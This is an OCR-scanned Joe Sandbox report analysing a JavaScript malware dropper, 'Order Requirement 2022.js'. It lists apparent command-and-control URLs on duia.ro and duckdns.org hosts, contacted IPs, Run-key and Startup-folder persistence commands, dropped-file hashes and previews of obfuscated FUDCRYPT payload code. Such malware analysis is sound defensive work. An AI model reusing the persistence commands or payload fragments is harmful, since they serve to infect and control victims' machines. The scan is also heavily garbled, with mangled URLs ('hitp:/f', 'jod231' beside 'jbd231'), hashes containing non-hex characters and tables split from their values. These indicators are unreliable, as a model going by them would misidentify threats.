.0000025291B7B000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000002.892957672
.0000020016F08000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.889666132
.0000025291B7B000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000002.890666886
.000001B9F43C4000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

true

true

false

false

true

true

true

true

false

false

false

false

true

false

true

true

Antivirus Detection

« Avira URL Cloud:

Avira URL Cloud:

.

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

.

Avira URL Cloud:

.

Avira URL Cloud:

.

Avira URL Cloud:

.

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

.

Avira URL Cloud:

Avira URL Cloud:

.

Avira URL Cloud:

.

safe

safe

malware

malware

safe

safe

safe

safe

malware

malware

malware

malware

safe

malware

safe

safe

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

http://javaautorun.duia.ro:5465/Vrecnkgew0K

http://jbd231.duckdns.org/O?

http://javaautorun.duia.ro:5465/Vrero6

http://javaautorun.duia.ro:5465/VreMC

http://javaautorun.duia.ro:5465/

http://javaautorun.duia.ro:5465/Vreoh_AE

http://jod231.duckdns.org:2022/is-ready&

http://javaautorun.duia.ro:5465/VreY

http://javaautorun.duia.ro:5465/Vresofdowches

http://javaautorun.duia.ro:5465/Vrer

http://jod231.duckdns.org:2022/is-ready#X5

http://jbd231.duckdns.org:2022/is-readyD

http://javaautorun.duia.ro:5465/Vreo

http:/fjavaautorun.duia.ro:5465/VreConnectionKeep-

Alive
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Source

wscript.exe, 00000001.00000002.847538264
.00000228B2A80000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000002.842409404.0000020016230000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000002.846562471
.0000026E2A810000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000002.827729174.0000029D80190000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000002.843831563
.000001531A020000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000003.525815657
.000001B9F4459000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.525373780.000001B9F444C000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525509334
.000001B9F4453000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.524400656.000001B9F443D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000002.893638808
.000001B9F444E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.525031245.000001B9F4445000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000003.378710691
.00000228B3161000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000002.854554678
.0000020016790000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000E.00000003.481502625
.000001E45640E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
E.00000002.816513877.000000D86C2F2000.00
000004.00000010.00020000.00000000.sdmp,
wscript.exe, 0000000E.00000003.546074627
.000001E4563F2000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
E.00000002.847586711.000001E4568C0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000002.851874113
.00000228B3130000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000003.400937487
.0000025291B6D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000002.886964153.0000025291B72000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000002.890666886
.000001B9F43C4000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000006.00000002.875779129
.0000026E2AEF0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000003.378710691
.00000228B3161000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000006.00000002.856776176
.0000026E2AE71000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000002.893254770
.000001B9F4429000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000002.894277954
.000001B9F44A7000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000002.882445640
.0000020016851000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000002.835362703.0000029D802A1000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000E.00000002.869237827
.000001E456940000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000002.854554678
.0000020016790000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

false

true

false

false

false

false

true

false

false

false

true

true

false

false

Antivirus Detection Reputation
« Avira URL Cloud: malware unknown
« Avira URL Cloud: safe unknown
« Avira URL Cloud: malware unknown
« Avira URL Cloud: malware unknown
« Avira URL Cloud: malware unknown
« Avira URL Cloud: malware unknown
« Avira URL Cloud: safe unknown
« Avira URL Cloud: malware unknown
« Avira URL Cloud: malware unknown
« Avira URL Cloud: malware unknown
« Avira URL Cloud: safe unknown
« Avira URL Cloud: safe unknown
« Avira URL Cloud: malware unknown
« Avira URL Cloud: malware unknown
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Name

http:/fjbd231.duckdns.org:2022/is-ready?

http://javaautorun.duia.ro:5465/VredmFylGZyhN

hitp://jbd231.duckdns.org:2022/is-readyd8

http://jod231.duckdns.org:20ecuritycenter2=

hitp:/fjavaautorun.duia.ro:5465/Vrej

http://javaautorun.duia.ro:5465/ZpbGU

http:/fjavaautorun.duia.ro:5465/Vre$K

http://jod231.duckdns.org:2022/is-readyady

hitp:/fjavaautorun.duia.ro:5465/Vrel

http://jod231.duckdns.org:2022/is-readyh8

hitp:/fjavaautorun.duia.ro:5465/Vref

http://jod231.duckdns.org:2022/is-readys.org:2022/is-

readypData

hitp://jbd231.duckdns.org:2022/is-
readyckdns.org:2022/is-ready

http://jod231.duckdns.org:2022/is-readyspecified

http://javaautorun.duia.ro:5465/Vreh

http://jod231.duckdns.org:2022/is-readyadyEM

hitp://jbd231.duckdns.org:2022/is-readyEM
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Source

wscript.exe, 00000002.00000003.401463583
.0000025291BCB000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000E.00000002.891459957
.000001E456AA0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000003.525815657
.000001B9F4459000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.525373780.000001B9F444C000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525509334
.000001B9F4453000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.524400656.000001B9F443D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000002.893638808
.000001B9F444E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.525031245.000001B9F4445000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000004.00000002.854554678
.0000020016790000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.851874113
.00000228B3130000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.379274839.00000228B317E000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.378710691
.00000228B3161000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000008.00000003.394109169
.0000029D8001A000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000C.00000002.844278843
.000001531A030000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.893454601
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000002.890666886.000001B9IF43C4000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 0000000C.00000002.858724337
.000001531A102000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000002.893638808
.000001B9F444E000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000E.00000002.847586711
.000001E4568C0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000002.890666886
.000001B9F43C4000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.893454601
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000002.890666886
.000001B9F43C4000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000002.882445640
.0000020016851000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000002.835362703.0000029D802A1000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000E.00000002.869237827
.000001E456940000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.893454601
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000002.890666886
.000001B9F43C4000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

true

false

true

true

false

false

false

true

false

true

false

true

true

true

false

true

true

Antivirus Detection

.

.

.

.

.

.

.

.

.

.

Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

: safe

: malware

: safe

safe

malware

malware

malware

safe

malware

safe

malware

safe

safe

safe

malware

safe

safe

Reputation

unknown

unknown

unknown

low

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

hitp://jbd231.duckdns.org/

hitp:/fjavaautorun.duia.ro:5465/Vre:

hitp://javaautorun.duia.ro:5465/VreMe

hitp://jbd231.duckdns.org:2022/is-readym32

http:/fjavaautorun.duia.ro:5465/VreZXNwb25z

http:/fjavaautorun.duia.ro:5465/VreZXNwb25zf/

hitp:/fjavaautorun.duia.ro:5465/VreS

hitp://jbd231.duckdns.org:2022/is-readysL8

hitp://jbd231.duckdns.org/1

hitp:/fjavaautorun.duia.ro:5465/VreN

hitp://jbd231.duckdns.org/ilter-0000

Copyright Joe Security LLC 2022

Source

wscript.exe, 00000002.00000003.401450984
.0000025291BC4000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.400937487.0000025291B6D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000002.00000002.893140463
.0000025291BBB000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.401267934.0000025291B77000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000002.00000003.401644606
.0000025291B83000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000002.889666132.0000025291B7B000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525815657
.000001B9F4459000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.525315950.000001B9F448D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525373780
.000001B9F444C000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.525509334.000001B9F4453000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.524400656
.000001B9F443D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000002.893638808.000001B9F444E000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525031245
.000001B9F4445000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000E.00000002.892699772
.000001E4570B0000.00000004.00000001.0002
0000.00000000.sdmp

wscript.exe, 00000008.00000002.869225763
.0000029DFD7E8000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000003.524400656
.000001B9F443D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.525031245.000001B9F4445000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000002.847538264
.00000228B2A80000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000002.842409404
.0000020016230000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000C.00000002.844278843
.000001531A030000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000003.525815657
.000001B9F4459000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.525373780.000001B9F444C000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525509334
.000001B9F4453000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.524400656.000001B9F443D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525031245
.000001B9F4445000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000003.400937487
.0000025291B6D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.401267934.0000025291B77000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000002.00000003.401644606
.0000025291B83000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000002.889666132.0000025291B7B000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 0000000C.00000002.858724337
.000001531A102000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.893454601
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp

Malicious  Antivirus Detection

true « Avira URL Cloud:

false

false « Avira URL Cloud:
true « Avira URL Cloud:
false « Avira URL Cloud:
false « Avira URL Cloud:
false « Avira URL Cloud:
true « Avira URL Cloud:
true « Avira URL Cloud:
false « Avira URL Cloud:
true « Avira URL Cloud:

Avira URL Cloud:

safe

malware

malware

safe

malware

malware

malware

safe

safe

malware

safe

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

http://jod231.duckdns.org/on

http://jod231.duckdns.org:2022/is-readyas

http://javaautorun.duia.ro:5465/VreM

http://javaautorun.duia.ro:5465/VredmFylGZy

http://jod231.duckdns.org:2022/is-readyAN

http://javaautorun.duia.ro:5465/Vre#

http://jod231.duckdns.org:2022/is-readyed.

http://javaautorun.duia.ro:5465/Vre1_

http://jod231.duckdns.org:2022/is-readyt

http://javaautorun.duia.ro:5465/Vres);

http://jod231.duckdns.org:2022/is-readye

http:/fjavaautorun.duia.ro:5465/Vre.

http://javaautorun.duia.ro:5465/Vre0

http://javaautorun.duia.ro:5465/Vreoi

http://javaautorun.duia.ro:5465/VrehN

Copyright Joe Security LLC 2022

Source

wscript.exe, 00000002.00000003.401571383
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000002.890666886
.000001B9F43C4000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.851874113
.00000228B3130000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000002.856776176.0000026E2AE71000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000008.00000002.835362703
.0000029D802A1000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
C.00000002.854455926.000001531A0E6000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000002.847538264
.00000228B2A80000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000002.842409404.0000020016230000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000002.846562471
.0000026E2A810000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000002.827729174.0000029D80190000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000002.843831563
.000001531A020000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.893454601
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000E.00000002.892699772
.000001E4570B0000.00000004.00000001.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.893454601
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000E.00000002.819896845
.000001E4548B8000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.893454601
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.401571383.0000025291BD5000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000002.00000002.889666132
.0000025291B7B000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.847538264
.00000228B2A80000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000002.842409404.0000020016230000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000002.846562471
.0000026E2A810000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000002.827729174.0000029D80190000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000002.843831563
.000001531A020000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
E.00000002.891459957.000001E456AA0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000002.00000002.893454601
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000E.00000002.892699772
.000001E4570B0000.00000004.00000001.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000003.379518455
.00000228B31AF000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000008.00000002.869225763
.0000029DFD7E8000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000E.00000002.891459957
.000001E456AA0000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

true

true

false

false

true

false

true

false

true

false

true

false

false

false

false

Antivirus Detection

« Avira URL Cloud: safe

« Avira URL Cloud: safe

« Avira URL Cloud: malware

« Avira URL Cloud: malware

.

.

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

safe

malware

safe

malware

« Avira URL Cloud: malware

.

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

safe

malware

malware

malware

malware

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

http://javaautorun.duia.ro:5465/Vreor

http://jbd231.duckdns.org:2022/is-readyady.

World Map of Contacted IPs

[] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
B 75% < No. of IPs

Public IPs

IP Domain
109.248.150.138 unknown
154.120.126.87 javaautorun.duia.ro
109.248.144.237 jbd231.duckdns.org
General Information

Joe Sandbox Version:

Analysis ID:

Start date and time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Copyright Joe Security LLC 2022

Source Malicious

wscript.exe, 00000006.00000002.848811043 false
.0000026E2ADF0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000002.890666886 true
.000001B9F43C4000.00000004.00000020.0002
0000.00000000.sdmp

Country Flag ASN

Russian Federation - 52048
Nigeria T] 37340
Russian Federation - 60567

36.0.0 Rainbow Opal
715072

2022-10-03 15:55:21 +02:00
CloudBasic

Oh11im1s

false

light

Order Requirement 2022.js

default.jbs

Antivirus Detection

« Avira URL Cloud: malware

« Avira URL Cloud: safe

ASN Name

DATACLUBLV
SpectranetNG
DATACLUB-SE

Reputation

unknown

unknown

Malicious
true
true

true

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211

16

o o©o o o
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Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings

Simulations

Behavior and APIs
Time

15:56:23
15:56:32
15:56:40

15:56:51
15:56:59

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

Copyright Joe Security LLC 2022

Type

Autostart

Autostart

Autostart

Autostart

Autostart

HCA enabled
EGA enabled
HDC enabled
GSl enabled (Javascript)
AMSI enabled

default

Timeout

MAL

mal100.troj.expl.evad.windS@20/6@14/3

Failed

Failed

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Found application associated with file extension: .js
Override analysis time to 240s for JS/VBS files not yet terminated

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
TCP Packets have been reduced to 100
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.
Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

Description

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Order Requirement 2022 wscript.exe /B "C:\U
sers\user\AppData\Roaming\Order Requirement 2022.js"

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Order Requirement 2022 wscript.exe //B "C:
\Users\user\AppData\Roaming\Order Requirement 2022.js"

Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run Order Requirement 2022 wscript.exe /B "C:
\Users\user\AppData\Roaming\Order Requirement 2022.js"

Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CeklalTska.js

Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Order Requirement 2
022.js
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@ No context

Created / dropped Files

C:\Users\user\AppData\Roaming\CeklalTska.js @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\wscript.exe

ASCII text, with very long lines (24033), with CRLF line terminators

dropped

34202

5.996401349775698

false

768:1xHXotUvvb708F9rKVsCnKO3Ab+fHVrvjvNapwjPF:cotUvHQeKfHJDNapwj9
7D3813B6915E33AEB2AFFC2C3FF7F04B
6E3E1AA58E9EBCB2CC2D334AC6C8AES747BB38A4
CBD6DE4D1EACC777A082333735D588B04E7E96C6223A95E0E07B5A8A85CEDA72

FB07C39675C26691E9F733B30302A666225A4186157CB6612EEA8BIFE11D2F42E3440A43AADDBDA362FCC181BC1E7106566F51085330C59ECA6A1EBA2CB1201
7

true

../ String function has modified FUDCRYPT..$5FZwLPDuLmhd3toN49z=function(n){if (typeof ($5FZwLPDuLmhd3toN49z list[n]) == "string") return $5FZwLPDuLm
hd3toN49z.list[n].split("").reverse().join("");return $5FZwLPDuLmhd3toN49z.list[n];};..$5FZwLPDuLmhd3toN49z.list=[/>!/g,"vHBWeN212151","uXWmnN5292711"
,"ambrgc15304531","siKbij631881","EVxaQM604764","TnRnFI079312","WEeKjw029371","=0QD9pQDIpQD7BSKyJXZ0g2YOF2YgOnCNsTKIVncOxib3ByKglCXcJClr!>Ca
OFGUuUYGDINILpcDKINWYWNVZtFmTul>XYgwSdmhSZsimR5B3bD5ycmpQD7kiMol3Qg0DIwFGlyFmdKOwegkncOpQD9pQD7BSKyJXZog2YOF2YgOnCNsTKdVz
WhnixiliwllgsCI1ZGlr!>iliwllsICRylzTaVkS3czVil>yKg01MbdGlr!>SXws1ZoUGdpJ3VnVmUug2cKO0wegkncOpQD7BSKoMnTg42bpR3YuVnZKOQfKOQKOQfKOWOrF
WZyJmCNsjcldWb15GbhimcINXZtVHbvZnLOIGIuJXd0VmcKOwOpgSbIRXau4WZg0DI0IGlyFmdKOwegkSKoQHel5UZ29Wbu4WZ7kCKk5WROFmLuVWIgsDKgl
3bmpQD7kycol3b0Fmcl1WduVEIZVmbg0DIuVGlyFmdKOwOp0VMbIHKmM90cINmbhR3culkLpOFMbIHKONWZqJ2TO0V2Rg0DIzpQD7BSK20TPOhCIMIMCNONCNO
NCNsTZtFmT5FGbwNXaE5CdpBibyVHdAIJNCNsHIINHbIBSTKOQfKOWOI1WYOIXYsB3cpRKL

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CeklalTska.js @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\wscript.exe

ASCII text, with very long lines (24033), with CRLF line terminators

modified

34202

5.996401349775698

false

768:1xHXotUvvb708F9rKVsCnKO3Ab+fHVrvjvNapwjPF:cotUvHQeKfHJDNapwj9
7D3813B6915E33AEB2AFFC2C3FF7F04B
6E3E1AA5S8E9EBCB2CC2D334AC6C8AE9747BB38A4
CBD6DE4D1EACC777A082333735D588B04E7E96C6223A95E0E07B5A8A85CEDA72

FB07C39675C26691E9F733B30302A666225A4186157CB6612EEA8BIFE11D2F42E3440A43AADDBDA362FCC181BC1E7106566F51085330C59ECA6A1EBA2CB1201
7

true

../I String function has modified FUDCRYPT..$5FZwLPDuLmhd3toN49z=function(n){if (typeof ($5FZwLPDuLmhd3toN49z list[n]) == "string") return $5FZwLPDuLm
hd3toN49z list[n].split("").reverse().join("");return $5FZwLPDuLmhd3toN49z.list[n];};..$5FZwLPDuLmhd3toN49z.list=[/>!/g,"vHBWeN212151","uXWmnN5292711"
,"ambrgc15304531","siKbij631881","EVxaQM604764","TnRnFI079312","WEeKjw029371","=0QD9pQD9IpQD7BSKyJXZ0g2YOF2YgOnCNsTKIVncOxib3ByKglCXcJClr!>Ca
O0FGUuYGDINILpcDKINWYWNVZtFmTul>XYgwSdmhSZsimR5B3bD5ycmpQD7kiMol3Qg0DIwFGlyFmdKOwegkncOpQD9IpQD7BSKyJXZog2YOF2YgOnCNsTKdVz
WhnixiliwllgsCI1ZGlr!>iliwllsICRylzTaVkS3czVil>yKg01MbdGlr!>SXws1ZoUGdpJ3VnVmUug2cKO0wegkncOpQD7BSKoMnTg42bpR3YuVnZKOQfKOQfKOQKOWOrF
WZyJmCNsjcldWb15GbhimcINXZtVHbvZnLOIGIuJXd0VmcKOwOpgSbIRXau4WZg0DIO0IGlyFmdKOwegkSKoQHel5UZ29Wbu4WZ7kCKk5WROFmLUVWIgsDKgl
3bmpQD7kycol3b0Fmcl1WduVEIZVmbg0DIuVGlyFmdKOwOp0VMbIHKm90cINmbhR3culkLpOFMbIHKONWZqJ2T0V2Rg0DIzpQD7BSK20TPOhCImImCNONCNO
NCNsTZtFmT5FGbwNXaE5CdpBiby VHdIJNCNsHIINHbIBSTKOQfKOWOI1WYOIXYsB3cpRkL

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Order Requirement 2022.js @

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:

C:\Windows\System32\wscript.exe

ASCII text, with very long lines (34370)

dropped

129780

5.843744998042904

false

3072:roUKfHvYLgmM4ZmXY YrNzrLrSEhJU4GOpf:roUKfHVYLMA4Y/xzrLfT
B276C36493BBIFA92DF1F59895B5D777
8D5D49BB030505DE7C0888E18B47015DB4890C5A
F962DA43F295B3508BC4B46215843A9777144E79113548546DCFA4C381B3BCB7
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SHA-512: A1994A7DC9022F8540444A565DB1FB5C719138784DC92E45A49BCBB0B8DBD3141C02BFAC347A84CCB011BEBC57DFDC7C4EDCF472C95C687ACBA95E211B51

951
Malicious: true
Preview: . function joxlog() {. varstr="";. try. {. for(vari=0;i<arguments.length;i++). {. var argKey = argumentsi][0]; . var argValue = arg
uments[i][1]; . varstr2 ="";. {. if (argKey == "entry" ) . {. var info = jbxlog.countDic[argValue];. if (info === undefined).
{. info = jbxlog.countDic[argValue] = { "totEntry": 1, "remEntry": joxlog.countLimit - 1, "totExit": 0, "remExit": joxlog.countLimit };. } else. {-
info["totEntry"]++;. var remEntry = info["remEntry"] > 0 ? info["remEntry"]-- : 0;. if (remEntry === 0). {. return;. I8
}. } else if (argKey == "exit" ). {. var info = jbxlog.countDic[argValue];. if (info == undefined). {. var to

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Order Requirement 2022.js:Zone.ldentifier @

Process: C:\Windows\System32\wscript.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped

Size (bytes): 26

Entropy (8bit): 3.95006375643621

Encrypted: false

SSDEEP: 3:9gPYVirPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHA1: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BD9DOEEA79D49C5EE88F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD6:
E

Malicious: true

Preview: [ZoneTransfer]....Zoneld=0

C:\Users\user\AppData\Roaming\Order Requirement 2022.js @

Process: C:\Windows\System32\wscript.exe
File Type: ASCII text, with very long lines (34370)
Category: dropped

Size (bytes): 129780

Entropy (8bit):  5.843744998042904

Encrypted: false
